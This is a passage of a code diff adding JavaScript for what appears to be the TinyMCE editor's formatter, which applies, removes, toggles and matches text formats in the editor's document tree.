+					childCount = getChildCount(node);
+
+					// Remove empty nodes but only if there is multiple wrappers and they are not block
+					// elements so never remove single <h1></h1> since that would remove the
+					// currrent empty block element where the caret is at
+					if ((newWrappers.length > 1 || !isBlock(node)) && childCount === 0) {
+						dom.remove(node, 1);
+						return;
+					}
+
+					if (format.inline || format.wrapper) {
+						// Merges the current node with it's children of similar type to reduce the number of elements
+						if (!format.exact && childCount === 1) {
+							node = mergeStyles(node);
+						}
+
+						// Remove/merge children
+						each(formatList, function(format) {
+							// Merge all children of similar type will move styles from child to parent
+							// this: <span style="color:red"><b><span style="color:red; font-size:10px">text</span></b></span>
+							// will become: <span style="color:red"><b><span style="font-size:10px">text</span></b></span>
+							each(dom.select(format.inline, node), function(child) {
+								if (isBookmarkNode(child)) {
+									return;
+								}
+
+								removeFormat(format, vars, child, format.exact ? child : null);
+							});
+						});
+
+						// Remove child if direct parent is of same type
+						if (matchNode(node.parentNode, name, vars)) {
+							dom.remove(node, 1);
+							node = 0;
+							return TRUE;
+						}
+
+						// Look for parent with similar style format
+						if (format.merge_with_parents) {
+							dom.getParent(node.parentNode, function(parent) {
+								if (matchNode(parent, name, vars)) {
+									dom.remove(node, 1);
+									node = 0;
+									return TRUE;
+								}
+							});
+						}
+
+						// Merge next and previous siblings if they are similar <b>text</b><b>text</b> becomes <b>texttext</b>
+						if (node && format.merge_siblings !== false) {
+							node = mergeSiblings(getNonWhiteSpaceSibling(node), node);
+							node = mergeSiblings(node, getNonWhiteSpaceSibling(node, TRUE));
+						}
+					}
+				});
+			}
+
+			if (format) {
+				if (node) {
+					if (node.nodeType) {
+						rng = dom.createRng();
+						rng.setStartBefore(node);
+						rng.setEndAfter(node);
+						applyRngStyle(expandRng(rng, formatList), null, true);
+					} else {
+						applyRngStyle(node, null, true);
+					}
+				} else {
+					if (!isCollapsed || !format.inline || dom.select('td.mce-item-selected,th.mce-item-selected').length) {
+						// Obtain selection node before selection is unselected by applyRngStyle()
+						var curSelNode = ed.selection.getNode();
+
+						// If the formats have a default block and we can't find a parent block then
+						// start wrapping it with a DIV this is for forced_root_blocks: false
+						// It's kind of a hack but people should be using the default block type P since all desktop editors work that way
+						if (!forcedRootBlock && formatList[0].defaultBlock && !dom.getParent(curSelNode, dom.isBlock)) {
+							apply(formatList[0].defaultBlock);
+						}
+
+						// Apply formatting to selection
+						ed.selection.setRng(adjustSelectionToVisibleSelection());
+						bookmark = selection.getBookmark();
+						applyRngStyle(expandRng(selection.getRng(TRUE), formatList), bookmark);
+
+						// Colored nodes should be underlined so that the color of the underline matches the text color.
+						if (format.styles && (format.styles.color || format.styles.textDecoration)) {
+							walk(curSelNode, processUnderlineAndColor, 'childNodes');
+							processUnderlineAndColor(curSelNode);
+						}
+
+						selection.moveToBookmark(bookmark);
+						moveStart(selection.getRng(TRUE));
+						ed.nodeChanged();
+					} else {
+						performCaretAction('apply', name, vars);
+					}
+				}
+			}
+		}
+
+		/**
+		 * Removes the specified format from the current selection or specified node.
+		 *
+		 * @method remove
+		 * @param {String} name Name of format to remove.
+		 * @param {Object} vars Optional list of variables to replace within format before removing it.
+		 * @param {Node/Range} node Optional node or DOM range to remove the format from defaults to current selection.
+		 */
+		function remove(name, vars, node, similar) {
+			var formatList = get(name), format = formatList[0], bookmark, rng, contentEditable = true;
+
+			// Merges the styles for each node
+			function process(node) {
+				var children, i, l, lastContentEditable, hasContentEditableState;
+
+				// Node has a contentEditable value
+				if (node.nodeType === 1 && getContentEditable(node)) {
+					lastContentEditable = contentEditable;
+					contentEditable = getContentEditable(node) === "true";
+					hasContentEditableState = true; // We don't want to wrap the container only it's children
+				}
+
+				// Grab the children first since the nodelist might be changed
+				children = grep(node.childNodes);
+
+				// Process current node
+				if (contentEditable && !hasContentEditableState) {
+					for (i = 0, l = formatList.length; i < l; i++) {
+						if (removeFormat(formatList[i], vars, node, node)) {
+							break;
+						}
+					}
+				}
+
+				// Process the children
+				if (format.deep) {
+					if (children.length) {
+						for (i = 0, l = children.length; i < l; i++) {
+							process(children[i]);
+						}
+
+						if (hasContentEditableState) {
+							contentEditable = lastContentEditable; // Restore last contentEditable state from stack
+						}
+					}
+				}
+			}
+
+			function findFormatRoot(container) {
+				var formatRoot;
+
+				// Find format root
+				each(getParents(container.parentNode).reverse(), function(parent) {
+					var format;
+
+					// Find format root element
+					if (!formatRoot && parent.id != '_start' && parent.id != '_end') {
+						// Is the node matching the format we are looking for
+						format = matchNode(parent, name, vars, similar);
+						if (format && format.split !== false) {
+							formatRoot = parent;
+						}
+					}
+				});
+
+				return formatRoot;
+			}
+
+			function wrapAndSplit(formatRoot, container, target, split) {
+				var parent, clone, lastClone, firstClone, i, formatRootParent;
+
+				// Format root found then clone formats and split it
+				if (formatRoot) {
+					formatRootParent = formatRoot.parentNode;
+
+					for (parent = container.parentNode; parent && parent != formatRootParent; parent = parent.parentNode) {
+						clone = dom.clone(parent, FALSE);
+
+						for (i = 0; i < formatList.length; i++) {
+							if (removeFormat(formatList[i], vars, clone, clone)) {
+								clone = 0;
+								break;
+							}
+						}
+
+						// Build wrapper node
+						if (clone) {
+							if (lastClone) {
+								clone.appendChild(lastClone);
+							}
+
+							if (!firstClone) {
+								firstClone = clone;
+							}
+
+							lastClone = clone;
+						}
+					}
+
+					// Never split block elements if the format is mixed
+					if (split && (!format.mixed || !isBlock(formatRoot))) {
+						container = dom.split(formatRoot, container);
+					}
+
+					// Wrap container in cloned formats
+					if (lastClone) {
+						target.parentNode.insertBefore(lastClone, target);
+						firstClone.appendChild(target);
+					}
+				}
+
+				return container;
+			}
+
+			function splitToFormatRoot(container) {
+				return wrapAndSplit(findFormatRoot(container), container, container, true);
+			}
+
+			function unwrap(start) {
+				var node = dom.get(start ? '_start' : '_end'),
+					out = node[start ? 'firstChild' : 'lastChild'];
+
+				// If the end is placed within the start the result will be removed
+				// So this checks if the out node is a bookmark node if it is it
+				// checks for another more suitable node
+				if (isBookmarkNode(out)) {
+					out = out[start ? 'firstChild' : 'lastChild'];
+				}
+
+				dom.remove(node, true);
+
+				return out;
+			}
+
+			function removeRngStyle(rng) {
+				var startContainer, endContainer;
+				var commonAncestorContainer = rng.commonAncestorContainer;
+
+				rng = expandRng(rng, formatList, TRUE);
+
+				if (format.split) {
+					startContainer = getContainer(rng, TRUE);
+					endContainer = getContainer(rng);
+
+					if (startContainer != endContainer) {
+						// WebKit will render the table incorrectly if we wrap a TH or TD in a SPAN
+						// so let's see if we can use the first child instead
+						// This will happen if you triple click a table cell and use remove formatting
+						if (/^(TR|TH|TD)$/.test(startContainer.nodeName) && startContainer.firstChild) {
+							if (startContainer.nodeName == "TR") {
+								startContainer = startContainer.firstChild.firstChild || startContainer;
+							} else {
+								startContainer = startContainer.firstChild || startContainer;
+							}
+						}
+
+						// Try to adjust endContainer as well if cells on the same row were selected - bug #6410
+						if (commonAncestorContainer &&
+							/^T(HEAD|BODY|FOOT|R)$/.test(commonAncestorContainer.nodeName) &&
+							/^(TH|TD)$/.test(endContainer.nodeName) && endContainer.firstChild) {
+							endContainer = endContainer.firstChild || endContainer;
+						}
+
+						// Wrap start/end nodes in span element since these might be cloned/moved
+						startContainer = wrap(startContainer, 'span', {id: '_start', 'data-mce-type': 'bookmark'});
+						endContainer = wrap(endContainer, 'span', {id: '_end', 'data-mce-type': 'bookmark'});
+
+						// Split start/end
+						splitToFormatRoot(startContainer);
+						splitToFormatRoot(endContainer);
+
+						// Unwrap start/end to get real elements again
+						startContainer = unwrap(TRUE);
+						endContainer = unwrap();
+					} else {
+						startContainer = endContainer = splitToFormatRoot(startContainer);
+					}
+
+					// Update range positions since they might have changed after the split operations
+					rng.startContainer = startContainer.parentNode;
+					rng.startOffset = nodeIndex(startContainer);
+					rng.endContainer = endContainer.parentNode;
+					rng.endOffset = nodeIndex(endContainer) + 1;
+				}
+
+				// Remove items between start/end
+				rangeUtils.walk(rng, function(nodes) {
+					each(nodes, function(node) {
+						process(node);
+
+						// Remove parent span if it only contains text-decoration: underline, yet a parent node is also underlined.
+						if (node.nodeType === 1 && ed.dom.getStyle(node, 'text-decoration') === 'underline' &&
+							node.parentNode && getTextDecoration(node.parentNode) === 'underline') {
+							removeFormat({
+								'deep': false,
+								'exact': true,
+								'inline': 'span',
+								'styles': {
+									'textDecoration': 'underline'
+								}
+							}, null, node);
+						}
+					});
+				});
+			}
+
+			// Handle node
+			if (node) {
+				if (node.nodeType) {
+					rng = dom.createRng();
+					rng.setStartBefore(node);
+					rng.setEndAfter(node);
+					removeRngStyle(rng);
+				} else {
+					removeRngStyle(node);
+				}
+
+				return;
+			}
+
+			if (!selection.isCollapsed() || !format.inline || dom.select('td.mce-item-selected,th.mce-item-selected').length) {
+				bookmark = selection.getBookmark();
+				removeRngStyle(selection.getRng(TRUE));
+				selection.moveToBookmark(bookmark);
+
+				// Check if start element still has formatting then we are at: "<b>text|</b>text"
+				// and need to move the start into the next text node
+				if (format.inline && match(name, vars, selection.getStart())) {
+					moveStart(selection.getRng(true));
+				}
+
+				ed.nodeChanged();
+			} else {
+				performCaretAction('remove', name, vars, similar);
+			}
+		}
+
+		/**
+		 * Toggles the specified format on/off.
+		 *
+		 * @method toggle
+		 * @param {String} name Name of format to apply/remove.
+		 * @param {Object} vars Optional list of variables to replace within format before applying/removing it.
+		 * @param {Node} node Optional node to apply the format to or remove from. Defaults to current selection.
+		 */
+		function toggle(name, vars, node) {
+			var fmt = get(name);
+
+			if (match(name, vars, node) && (!('toggle' in fmt[0]) || fmt[0].toggle)) {
+				remove(name, vars, node);
+			} else {
+				apply(name, vars, node);
+			}
+		}
+
+		/**
+		 * Return true/false if the specified node has the specified format.
+		 *
+		 * @method matchNode
+		 * @param {Node} node Node to check the format on.
+		 * @param {String} name Format name to check.
+		 * @param {Object} vars Optional list of variables to replace before checking it.
+		 * @param {Boolean} similar Match format that has similar properties.
+		 * @return {Object} Returns the format object it matches or undefined if it doesn't match.
+		 */
+		function matchNode(node, name, vars, similar) {
+			var formatList = get(name), format, i, classes;
+
+			function matchItems(node, format, item_name) {
+				var key, value, items = format[item_name], i;
+
+				// Custom match
+				if (format.onmatch) {
+					return format.onmatch(node, format, item_name);
+				}
+
+				// Check all items
+				if (items) {
+					// Non indexed object
+					if (items.length === undef) {
+						for (key in items) {
+							if (items.hasOwnProperty(key)) {
+								if (item_name === 'attributes') {
+									value = dom.getAttrib(node, key);
+								} else {
+									value = getStyle(node, key);
+								}
+
+								if (similar && !value && !format.exact) {
+									return;
+								}
+
+								if ((!similar || format.exact) && !isEq(value, normalizeStyleValue(replaceVars(items[key], vars), key))) {
+									return;
+								}
+							}
+						}
+					} else {
+						// Only one match needed for indexed arrays
+						for (i = 0; i < items.length; i++) {
+							if (item_name === 'attributes' ? dom.getAttrib(node, items[i]) : getStyle(node, items[i])) {
+								return format;
+							}
+						}
+					}
+				}
+
+				return format;
+			}
+
+			if (formatList && node) {
+				// Check each format in list
+				for (i = 0; i < formatList.length; i++) {
+					format = formatList[i];
+
+					// Name name, attributes, styles and classes
+					if (matchName(node, format) && matchItems(node, format, 'attributes') && matchItems(node, format, 'styles')) {
+						// Match classes
+						if ((classes = format.classes)) {
+							for (i = 0; i < classes.length; i++) {
+								if (!dom.hasClass(node, classes[i])) {
+									return;
+								}
+							}
+						}
+
+						return format;
+					}
+				}
+			}
+		}
+
+		/**
+		 * Matches the current selection or specified node against the specified format name.
+		 *
+		 * @method match
+		 * @param {String} name Name of format to match.
+		 * @param {Object} vars Optional list of variables to replace before checking it.
+		 * @param {Node} node Optional node to check.
+		 * @return {boolean} true/false if the specified selection/node matches the format.
+		 */
+		function match(name, vars, node) {
+			var startNode;
+
+			function matchParents(node) {
+				var root = dom.getRoot();
+
+				if (node === root) {
+					return false;
+				}
+
+				// Find first node with similar format settings
+				node = dom.getParent(node, function(node) {
+					return node.parentNode === root || !!matchNode(node, name, vars, true);
+				});
+
+				// Do an exact check on the similar format element
+				return matchNode(node, name, vars);
+			}
+
+			// Check specified node
+			if (node) {
+				return matchParents(node);
+			}
+
+			// Check selected node
+			node = selection.getNode();
+			if (matchParents(node)) {
+				return TRUE;
+			}
+
+			// Check start node if it's different
+			startNode = selection.getStart();
+			if (startNode != node) {
+				if (matchParents(startNode)) {
+					return TRUE;
+				}
+			}
+
+			return FALSE;
+		}
+
+		/**
+		 * Matches the current selection against the array of formats and returns a new array with matching formats.
+		 *
+		 * @method matchAll
+		 * @param {Array} names Name of format to match.
+		 * @param {Object} vars Optional list of variables to replace before checking it.
+		 * @return {Array} Array with matched formats.
+		 */
+		function matchAll(names, vars) {
+			var startElement, matchedFormatNames = [], checkedMap = {};
+
+			// Check start of selection for formats
+			startElement = selection.getStart();
+			dom.getParent(startElement, function(node) {
+				var i, name;
+
+				for (i = 0; i < names.length; i++) {
+					name = names[i];
+
+					if (!checkedMap[name] && matchNode(node, name, vars)) {
+						checkedMap[name] = true;
+						matchedFormatNames.push(name);
+					}
+				}
+			}, dom.getRoot());
+
+			return matchedFormatNames;
+		}
+
+		/**
+		 * Returns true/false if the specified format can be applied to the current selection or not. It
+		 * will currently only check the state for selector formats, it returns true on all other format types.
+		 *
+		 * @method canApply
+		 * @param {String} name Name of format to check.
+		 * @return {boolean} true/false if the specified format can be applied to the current selection/node.
+		 */
+		function canApply(name) {
+			var formatList = get(name), startNode, parents, i, x, selector;
+
+			if (formatList) {
+				startNode = selection.getStart();
+				parents = getParents(startNode);
+
+				for (x = formatList.length - 1; x >= 0; x--) {
+					selector = formatList[x].selector;
+
+					// Format is not selector based then always return TRUE
+					// Is it has a defaultBlock then it's likely it can be applied for example align on a non block element line
+					if (!selector || formatList[x].defaultBlock) {
+						return TRUE;
+					}
+
+					for (i = parents.length - 1; i >= 0; i--) {
+						if (dom.is(parents[i], selector)) {
+							return TRUE;
+						}
+					}
+				}
+			}
+
+			return FALSE;
+		}
+
+		/**
+		 * Executes the specified callback when the current selection matches the formats or not.
+		 *
+		 * @method formatChanged
+		 * @param {String} formats Comma separated list of formats to check for.
+		 * @param {function} callback Callback with state and args when the format is changed/toggled on/off.
+		 * @param {Boolean} similar True/false state if the match should handle similar or exact formats.
+		 */
+		function formatChanged(formats, callback, similar) {
+			var currentFormats;
+
+			// Setup format node change logic
+			if (!formatChangeData) {
+				formatChangeData = {};
+				currentFormats = {};
+
+				ed.on('NodeChange', function(e) {
+					var parents = getParents(e.element), matchedFormats = {};
+
+					// Ignore bogus nodes like the <a> tag created by moveStart()
+					parents = Tools.grep(parents, function(node) {
+						return node.nodeType == 1 && !node.getAttribute('data-mce-bogus');
+					});
+
+					// Check for new formats
+					each(formatChangeData, function(callbacks, format) {
+						each(parents, function(node) {
+							if (matchNode(node, format, {}, callbacks.similar)) {
+								if (!currentFormats[format]) {
+									// Execute callbacks
+									each(callbacks, function(callback) {
+										callback(true, {node: node, format: format, parents: parents});
+									});
+
+									currentFormats[format] = callbacks;
+								}
+
+								matchedFormats[format] = callbacks;
+								return false;
+							}
+						});
+					});
+
+					// Check if current formats still match
+					each(currentFormats, function(callbacks, format) {
+						if (!matchedFormats[format]) {
+							delete currentFormats[format];
+
+							each(callbacks, function(callback) {
+								callback(false, {node: e.element, format: format, parents: parents});
+							});
+						}
+					});
+				});
+			}
+
+			// Add format listeners
+			each(formats.split(','), function(format) {
+				if (!formatChangeData[format]) {
+					formatChangeData[format] = [];
+					formatChangeData[format].similar = similar;
+				}
+
+				formatChangeData[format].push(callback);
+			});
+
+			return this;
+		}
+
+		/**
+		 * Returns a preview css text for the specified format.
+		 *
+		 * @method getCssText
+		 * @param {String/Object} format Format to generate preview css text for.
+		 * @return {String} Css text for the specified format.
+		 * @example
+		 * var cssText1 = editor.formatter.getCssText('bold');
+		 * var cssText2 = editor.formatter.getCssText({inline: 'b'});
+		 */
+		function getCssText(format) {
+			return Preview.getCssText(ed, format);
+		}
+
+		// Expose to public
+		extend(this, {
+			get: get,
+			register: register,
+			unregister: unregister,
+			apply: apply,
+			remove: remove,
+			toggle: toggle,
+			match: match,
+			matchAll: matchAll,
+			matchNode: matchNode,
+			canApply: canApply,
+			formatChanged: formatChanged,
+			getCssText: getCssText
+		});
+
+		// Initialize
+		defaultFormats();
+		addKeyboardShortcuts();
+		ed.on('BeforeGetContent', function(e) {
+			if (markCaretContainersBogus && e.format != 'raw') {
+				markCaretContainersBogus();
+			}
+		});
+		ed.on('mouseup keydown', function(e) {
+			if (disableCaretContainer) {
+				disableCaretContainer(e);
+			}
+		});
+
+		// Private functions
+
+		/**
+		 * Checks if the specified nodes name matches the format inline/block or selector.
+		 *
+		 * @private
+		 * @param {Node} node Node to match against the specified format.
+		 * @param {Object} format Format object o match with.
+		 * @return {boolean} true/false if the format matches.
+		 */
+		function matchName(node, format) {
+			// Check for inline match
+			if (isEq(node, format.inline)) {
+				return TRUE;
+			}
+
+			// Check for block match
+			if (isEq(node, format.block)) {
+				return TRUE;
+			}
+
+			// Check for selector match
+			if (format.selector) {
+				return node.nodeType == 1 && dom.is(node, format.selector);
+			}
+		}
+
+		/**
+		 * Compares two string/nodes regardless of their case.
+		 *
+		 * @private
+		 * @param {String/Node} Node or string to compare.
+		 * @param {String/Node} Node or string to compare.
+		 * @return {boolean} True/false if they match.
+		 */
+		function isEq(str1, str2) {
+			str1 = str1 || '';
+			str2 = str2 || '';
+
+			str1 = '' + (str1.nodeName || str1);
+			str2 = '' + (str2.nodeName || str2);
+
+			return str1.toLowerCase() == str2.toLowerCase();
+		}
+
+		/**
+		 * Returns the style by name on the specified node. This method modifies the style
+		 * contents to make it more easy to match. This will resolve a few browser issues.
+		 *
+		 * @private
+		 * @param {Node} node to get style from.
+		 * @param {String} name Style name to get.
+		 * @return {String} Style item value.
+		 */
+		function getStyle(node, name) {
+			return normalizeStyleValue(dom.getStyle(node, name), name);
+		}
+
+		/**
+		 * Normalize style value by name. This method modifies the style contents
+		 * to make it more easy to match. This will resolve a few browser issues.
+		 *
+		 * @private
+		 * @param {Node} node to get style from.
+		 * @param {String} name Style name to get.
+		 * @return {String} Style item value.
+		 */
+		function normalizeStyleValue(value, name) {
+			// Force the format to hex
+			if (name == 'color' || name == 'backgroundColor') {
+				value = dom.toHex(value);
+			}
+
+			// Opera will return bold as 700
+			if (name == 'fontWeight' && value == 700) {
+				value = 'bold';
+			}
+
+			// Normalize fontFamily so "'Font name', Font" becomes: "Font name,Font"
+			if (name == 'fontFamily') {
+				value = value.replace(/[\'\"]/g, '').replace(/,\s+/g, ',');
+			}
+
+			return '' + value;
+		}
+
+		/**
+		 * Replaces variables in the value. The variable format is %var.
+		 *
+		 * @private
+		 * @param {String} value Value to replace variables in.
+		 * @param {Object} vars Name/value array with variables to replace.
+		 * @return {String} New value with replaced variables.
+		 */
+		function replaceVars(value, vars) {
+			if (typeof(value) != "string") {
+				value = value(vars);
+			} else if (vars) {
+				value = value.replace(/%(\w+)/g, function(str, name) {
+					return vars[name] || str;
+				});
+			}
+
+			return value;
+		}
+
+		function isWhiteSpaceNode(node) {
+			return node && node.nodeType === 3 && /^([\t \r\n]+|)$/.test(node.nodeValue);
+		}
+
+		function wrap(node, name, attrs) {
+			var wrapper = dom.create(name, attrs);
+
+			node.parentNode.insertBefore(wrapper, node);
+			wrapper.appendChild(node);
+
+			return wrapper;
+		}
+
+		/**
+		 * Expands the specified range like object to depending on format.
+		 *
+		 * For example on block formats it will move the start/end position
+		 * to the beginning of the current block.
+		 *
+		 * @private
+		 * @param {Object} rng Range like object.
+		 * @param {Array} formats Array with formats to expand by.
+		 * @return {Object} Expanded range like object.
+		 */
+		function expandRng(rng, format, remove) {
+			var lastIdx, leaf, endPoint,
+				startContainer = rng.startContainer,
+				startOffset = rng.startOffset,
+				endContainer = rng.endContainer,
+				endOffset = rng.endOffset;
+
+			// This function walks up the tree if there is no siblings before/after the node
+			function findParentContainer(start) {
+				var container, parent, sibling, siblingName, root;
+
+				container = parent = start ? startContainer : endContainer;
+				siblingName = start ? 'previousSibling' : 'nextSibling';
+				root = dom.getRoot();
+
+				function isBogusBr(node) {
+					return node.nodeName == "BR" && node.getAttribute('data-mce-bogus') && !node.nextSibling;
+				}
+
+				// If it's a text node and the offset is inside the text
+				if (container.nodeType == 3 && !isWhiteSpaceNode(container)) {
+					if (start ? startOffset > 0 : endOffset < container.nodeValue.length) {
+						return container;
+					}
+				}
+
+				/*eslint no-constant-condition:0 */
+				while (true) {
+					// Stop expanding on block elements
+					if (!format[0].block_expand && isBlock(parent)) {
+						return parent;
+					}
+
+					// Walk left/right
+					for (sibling = parent[siblingName]; sibling; sibling = sibling[siblingName]) {
+						if (!isBookmarkNode(sibling) && !isWhiteSpaceNode(sibling) && !isBogusBr(sibling)) {
+							return parent;
+						}
+					}
+
+					// Check if we can move up are we at root level or body level
+					if (parent.parentNode == root) {
+						container = parent;
+						break;
+					}
+
+					parent = parent.parentNode;
+				}
+
+				return container;
+			}
+
+			// This function walks down the tree to find the leaf at the selection.
+			// The offset is also returned as if node initially a leaf, the offset may be in the middle of the text node.
+			function findLeaf(node, offset) {
+				if (offset === undef) {
+					offset = node.nodeType === 3 ? node.length : node.childNodes.length;
+				}
+
+				while (node && node.hasChildNodes()) {
+					node = node.childNodes[offset];
+					if (node) {
+						offset = node.nodeType === 3 ? node.length : node.childNodes.length;
+					}
+				}
+				return {node: node, offset: offset};
+			}
+
+			// If index based start position then resolve it
+			if (startContainer.nodeType == 1 && startContainer.hasChildNodes()) {
+				lastIdx = startContainer.childNodes.length - 1;
+				startContainer = startContainer.childNodes[startOffset > lastIdx ? lastIdx : startOffset];
+
+				if (startContainer.nodeType == 3) {
+					startOffset = 0;
+				}
+			}
+
+			// If index based end position then resolve it
+			if (endContainer.nodeType == 1 && endContainer.hasChildNodes()) {
+				lastIdx = endContainer.childNodes.length - 1;
+				endContainer = endContainer.childNodes[endOffset > lastIdx ? lastIdx : endOffset - 1];
+
+				if (endContainer.nodeType == 3) {
+					endOffset = endContainer.nodeValue.length;
+				}
+			}
+
+			// Expands the node to the closes contentEditable false element if it exists
+			function findParentContentEditable(node) {
+				var parent = node;
+
+				while (parent) {
+					if (parent.nodeType === 1 && getContentEditable(parent)) {
+						return getContentEditable(parent) === "false" ? parent : node;
+					}
+
+					parent = parent.parentNode;
+				}
+
+				return node;
+			}
+
+			function findWordEndPoint(container, offset, start) {
+				var walker, node, pos, lastTextNode;
+
+				function findSpace(node, offset) {
+					var pos, pos2, str = node.nodeValue;
+
+					if (typeof(offset) == "undefined") {
+						offset = start ? str.length : 0;
+					}
+
+					if (start) {
+						pos = str.lastIndexOf(' ', offset);
+						pos2 = str.lastIndexOf('\u00a0', offset);
+						pos = pos > pos2 ? pos : pos2;
+
+						// Include the space on remove to avoid tag soup
+						if (pos !== -1 && !remove) {
+							pos++;
+						}
+					} else {
+						pos = str.indexOf(' ', offset);
+						pos2 = str.indexOf('\u00a0', offset);
+						pos = pos !== -1 && (pos2 === -1 || pos < pos2) ? pos : pos2;
+					}
+
+					return pos;
+				}
+
+				if (container.nodeType === 3) {
+					pos = findSpace(container, offset);
+
+					if (pos !== -1) {
+						return {container: container, offset: pos};
+					}
+
+					lastTextNode = container;
+				}
+
+				// Walk the nodes inside the block
+				walker = new TreeWalker(container, dom.getParent(container, isBlock) || ed.getBody());
+				while ((node = walker[start ? 'prev' : 'next']())) {
+					if (node.nodeType === 3) {
+						lastTextNode = node;
+						pos = findSpace(node);
+
+						if (pos !== -1) {
+							return {container: node, offset: pos};
+						}
+					} else if (isBlock(node)) {
+						break;
+					}
+				}
+
+				if (lastTextNode) {
+					if (start) {
+						offset = 0;
+					} else {
+						offset = lastTextNode.length;
+					}
+
+					return {container: lastTextNode, offset: offset};
+				}
+			}
+
+			function findSelectorEndPoint(container, sibling_name) {
+				var parents, i, y, curFormat;
+
+				if (container.nodeType == 3 && container.nodeValue.length === 0 && container[sibling_name]) {
+					container = container[sibling_name];
+				}
+
+				parents = getParents(container);
+				for (i = 0; i < parents.length; i++) {
+					for (y = 0; y < format.length; y++) {
+						curFormat = format[y];
+
+						// If collapsed state is set then skip formats that doesn't match that
+						if ("collapsed" in curFormat && curFormat.collapsed !== rng.collapsed) {
+							continue;
+						}
+
+						if (dom.is(parents[i], curFormat.selector)) {
+							return parents[i];
+						}
+					}
+				}
+
+				return container;
+			}
+
+			function findBlockEndPoint(container, sibling_name) {
+				var node, root = dom.getRoot();
+
+				// Expand to block of similar type
+				if (!format[0].wrapper) {
+					node = dom.getParent(container, format[0].block, root);
+				}
+
+				// Expand to first wrappable block element or any block element
+				if (!node) {
+					node = dom.getParent(container.nodeType == 3 ? container.parentNode : container, function(node) {
+						// Fixes #6183 where it would expand to editable parent element in inline mode
+						return node != root && isTextBlock(node);
+					});
+				}
+
+				// Exclude inner lists from wrapping
+				if (node && format[0].wrapper) {
+					node = getParents(node, 'ul,ol').reverse()[0] || node;
+				}
+
+				// Didn't find a block element look for first/last wrappable element
+				if (!node) {
+					node = container;
+
+					while (node[sibling_name] && !isBlock(node[sibling_name])) {
+						node = node[sibling_name];
+
+						// Break on BR but include it will be removed later on
+						// we can't remove it now since we need to check if it can be wrapped
+						if (isEq(node, 'br')) {
+							break;
+						}
+					}
+				}
+
+				return node || container;
+			}
+
+			// Expand to closest contentEditable element
+			startContainer = findParentContentEditable(startContainer);
+			endContainer = findParentContentEditable(endContainer);
+
+			// Exclude bookmark nodes if possible
+			if (isBookmarkNode(startContainer.parentNode) || isBookmarkNode(startContainer)) {
+				startContainer = isBookmarkNode(startContainer) ? startContainer : startContainer.parentNode;
+				startContainer = startContainer.nextSibling || startContainer;
+
+				if (startContainer.nodeType == 3) {
+					startOffset = 0;
+				}
+			}
+
+			if (isBookmarkNode(endContainer.parentNode) || isBookmarkNode(endContainer)) {
+				endContainer = isBookmarkNode(endContainer) ? endContainer : endContainer.parentNode;
+				endContainer = endContainer.previousSibling || endContainer;
+
+				if (endContainer.nodeType == 3) {
+					endOffset = endContainer.length;
+				}
+			}
+
+			if (format[0].inline) {
+				if (rng.collapsed) {
+					// Expand left to closest word boundary
+					endPoint = findWordEndPoint(startContainer, startOffset, true);
+					if (endPoint) {
+						startContainer = endPoint.container;
+						startOffset = endPoint.offset;
+					}
+
+					// Expand right to closest word boundary
+					endPoint = findWordEndPoint(endContainer, endOffset);
+					if (endPoint) {
+						endContainer = endPoint.container;
+						endOffset = endPoint.offset;
+					}
+				}
+
+				// Avoid applying formatting to a trailing space.
+				leaf = findLeaf(endContainer, endOffset);
+				if (leaf.node) {
+					while (leaf.node && leaf.offset === 0 && leaf.node.previousSibling) {
+						leaf = findLeaf(leaf.node.previousSibling);
+					}
+
+					if (leaf.node && leaf.offset > 0 && leaf.node.nodeType === 3 &&
+							leaf.node.nodeValue.charAt(leaf.offset - 1) === ' ') {
+
+						if (leaf.offset > 1) {
+							endContainer = leaf.node;
+							endContainer.splitText(leaf.offset - 1);
+						}
+					}
+				}
+			}
+
+			// Move start/end point up the tree if the leaves are sharp and if we are in different containers
+			// Example * becomes !: !<p><b><i>*text</i><i>text*</i></b></p>!
+			// This will reduce the number of wrapper elements that needs to be created
+			// Move start point up the tree
+			if (format[0].inline || format[0].block_expand) {
+				if (!format[0].inline || (startContainer.nodeType != 3 || startOffset === 0)) {
+					startContainer = findParentContainer(true);
+				}
+
+				if (!format[0].inline || (endContainer.nodeType != 3 || endOffset === endContainer.nodeValue.length)) {
+					endContainer = findParentContainer();
+				}
+			}
+
+			// Expand start/end container to matching selector
+			if (format[0].selector && format[0].expand !== FALSE && !format[0].inline) {
+				// Find new startContainer/endContainer if there is better one
+				startContainer = findSelectorEndPoint(startContainer, 'previousSibling');
+				endContainer = findSelectorEndPoint(endContainer, 'nextSibling');
+			}
+
+			// Expand start/end container to matching block element or text node
+			if (format[0].block || format[0].selector) {
+				// Find new startContainer/endContainer if there is better one
+				startContainer = findBlockEndPoint(startContainer, 'previousSibling');
+				endContainer = findBlockEndPoint(endContainer, 'nextSibling');
+
+				// Non block element then try to expand up the leaf
+				if (format[0].block) {
+					if (!isBlock(startContainer)) {
+						startContainer = findParentContainer(true);
+					}
+
+					if (!isBlock(endContainer)) {
+						endContainer = findParentContainer();
+					}
+				}
+			}
+
+			// Setup index for startContainer
+			if (startContainer.nodeType == 1) {
+				startOffset = nodeIndex(startContainer);
+				startContainer = startContainer.parentNode;
+			}
+
+			// Setup index for endContainer
+			if (endContainer.nodeType == 1) {
+				endOffset = nodeIndex(endContainer) + 1;
+				endContainer = endContainer.parentNode;
+			}
+
+			// Return new range like object
+			return {
+				startContainer: startContainer,
+				startOffset: startOffset,
+				endContainer: endContainer,
+				endOffset: endOffset
+			};
+		}
+
+		function isColorFormatAndAnchor(node, format) {
+			return format.links && node.tagName == 'A';
+		}
+
+		/**
+		 * Removes the specified format for the specified node. It will also remove the node if it doesn't have
+		 * any attributes if the format specifies it to do so.
+		 *
+		 * @private
+		 * @param {Object} format Format object with items to remove from node.
+		 * @param {Object} vars Name/value object with variables to apply to format.
+		 * @param {Node} node Node to remove the format styles on.
+		 * @param {Node} compare_node Optional compare node, if specified the styles will be compared to that node.
+		 * @return {Boolean} True/false if the node was removed or not.
+		 */
+		function removeFormat(format, vars, node, compare_node) {
+			var i, attrs, stylesModified;
+
+			// Check if node matches format
+			if (!matchName(node, format) && !isColorFormatAndAnchor(node, format)) {
+				return FALSE;
+			}
+
+			// Should we compare with format attribs and styles
+			if (format.remove != 'all') {
+				// Remove styles
+				each(format.styles, function(value, name) {
+					value = normalizeStyleValue(replaceVars(value, vars), name);
+
+					// Indexed array
+					if (typeof(name) === 'number') {
+						name = value;
+						compare_node = 0;
+					}
+
+					if (format.remove_similar || (!compare_node || isEq(getStyle(compare_node, name), value))) {
+						dom.setStyle(node, name, '');
